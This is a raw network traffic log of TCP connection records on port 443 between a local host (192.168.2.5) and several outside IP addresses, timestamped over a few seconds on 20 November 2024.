Nov 20, 2024 01:18:26.795499086 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.795517921 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.795522928 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.795567036 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.795572042 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.848841906 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.877294064 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.877418041 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.877475023 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.877564907 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.877569914 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:26.877583027 CET	49724	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:26.877585888 CET	443	49724	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:27.002629995 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:27.002679110 CET	443	49735	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:27.002796888 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:27.003071070 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:27.003087997 CET	443	49735	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:27.388355970 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.388909101 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.388922930 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.389461994 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.389466047 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.389619112 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.390043974 CET	49734	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.390059948 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.390613079 CET	49734	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.390619040 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.394416094 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.394741058 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.394764900 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.395241976 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.395246983 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.402586937 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.402997971 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.403007030 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.404037952 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.404046059 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.409744024 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.410357952 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.410376072 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.411016941 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.411022902 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.469042063 CET	443	49735	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:27.469115019 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:27.470721006 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:27.470740080 CET	443	49735	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:27.471086979 CET	443	49735	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:27.472383022 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:27.472569942 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:27.472615004 CET	443	49735	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:27.490922928 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.491095066 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.491149902 CET	49734	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.491239071 CET	49734	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.491266012 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.491281986 CET	49734	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.491291046 CET	443	49734	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.492058039 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.492222071 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.492275000 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.492516994 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.492526054 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.495513916 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.495604992 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.495676994 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.495695114 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.495698929 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.495747089 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.495925903 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.495946884 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.496016979 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.496026039 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.498662949 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.498821974 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.498877048 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.498927116 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.498944998 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.498958111 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.498964071 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.501400948 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.501429081 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.501496077 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.501610994 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.501621962 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.505783081 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.505826950 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.505870104 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.506012917 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.506022930 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.506036043 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.506041050 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.508358002 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.508368015 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.508426905 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.508563995 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.508574963 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.514297009 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.514444113 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.514544964 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.514544964 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.514544964 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.516625881 CET	49740	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.516674995 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.516765118 CET	49740	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.516896009 CET	49740	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.516920090 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:27.817679882 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:27.817713976 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.090199947 CET	443	49735	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.090457916 CET	443	49735	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.090501070 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.090540886 CET	49735	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.235946894 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.235965967 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.236123085 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.236546993 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.236560106 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.238725901 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.239171028 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.239186049 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.239788055 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.239794970 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.242371082 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.242790937 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.242798090 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.242954969 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.243194103 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.243369102 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.243372917 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.243482113 CET	49740	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.243504047 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.243768930 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.243841887 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.244010925 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.244025946 CET	49740	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.244036913 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.244339943 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.244360924 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.244399071 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.244414091 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.244865894 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.244877100 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.341479063 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.341631889 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.341753006 CET	49740	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.342000008 CET	49740	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.342017889 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.342109919 CET	49740	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.342123032 CET	443	49740	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.343219042 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.343378067 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.343453884 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.343624115 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.343661070 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.343704939 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.343720913 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.345082998 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.345115900 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.345545053 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.345690966 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.345706940 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.345973015 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.346009016 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.346349955 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.346429110 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.346458912 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.346508026 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.346533060 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.346545935 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.346571922 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.346582890 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.346669912 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.346822977 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.346888065 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.347018957 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.347038031 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.347063065 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.347073078 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.348280907 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.348407030 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.349536896 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.349787951 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.349802017 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.349817991 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.349839926 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.349873066 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.349900961 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.350004911 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.350018978 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.350030899 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.350037098 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.350042105 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.350045919 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.351748943 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.351758003 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.351811886 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.351948977 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.351984978 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.352015972 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.352029085 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.598881960 CET	49675	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:28.598882914 CET	49674	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:28.703286886 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.703360081 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.704967976 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.704974890 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.705295086 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.706535101 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.706664085 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.706696033 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.707679033 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:28.707684994 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:28.708280087 CET	49673	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:28.981358051 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.981941938 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.981981993 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.982424021 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.982443094 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.996529102 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.996932030 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.996944904 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:28.997534037 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:28.997539997 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.004211903 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.004618883 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.004640102 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.005158901 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.005163908 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.012341022 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.012780905 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.012867928 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.013268948 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.013284922 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.018678904 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.019186020 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.019193888 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.019623041 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.019627094 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.080902100 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.080955029 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.081058979 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.081243992 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.081276894 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.081305027 CET	49742	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.081320047 CET	443	49742	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.084676981 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.084717035 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.084789991 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.084925890 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.084932089 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.098145008 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.098210096 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.098289013 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.100631952 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.100631952 CET	49743	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.100651979 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.100665092 CET	443	49743	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.104146957 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.104310036 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.104374886 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.104578018 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.104588985 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.104600906 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.104605913 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.104680061 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.104705095 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.104891062 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.105087042 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.105102062 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.107460022 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.107479095 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.107537985 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.107693911 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.107708931 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.116575003 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.116635084 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.116692066 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.116830111 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.116863966 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.116879940 CET	49745	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.116893053 CET	443	49745	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.119343042 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.119365931 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.119446993 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.119611025 CET	49750	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.119626999 CET	443	49750	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.121170044 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.121282101 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.121332884 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.121459007 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.121463060 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.121489048 CET	49746	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.121493101 CET	443	49746	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.123958111 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.123991966 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.124056101 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.124223948 CET	49751	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.124252081 CET	443	49751	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.355894089 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:29.356154919 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:29.356213093 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:29.356247902 CET	49741	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:29.356256962 CET	443	49741	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:29.560077906 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:29.560096025 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:29.560173988 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:29.560481071 CET	49752	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:29.560496092 CET	443	49752	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:29.673825979 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.674515963 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.674572945 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.675199032 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.675214052 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.680958986 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:29.680989981 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:29.681391001 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:29.681844950 CET	49753	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:29.681859970 CET	443	49753	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:29.732435942 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.733035088 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.733082056 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.733664989 CET	49747	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.733681917 CET	443	49747	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.753109932 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.753838062 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.753849983 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.754437923 CET	49748	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.754443884 CET	443	49748	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.780328989 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.780394077 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.780462980 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.780683994 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.780723095 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.780750990 CET	49749	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.780766964 CET	443	49749	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.784060955 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.784137011 CET	443	49754	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:29.784229994 CET	49754	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:29.784362078 CET	49754	443	192.168.2.5	13.107.246.45
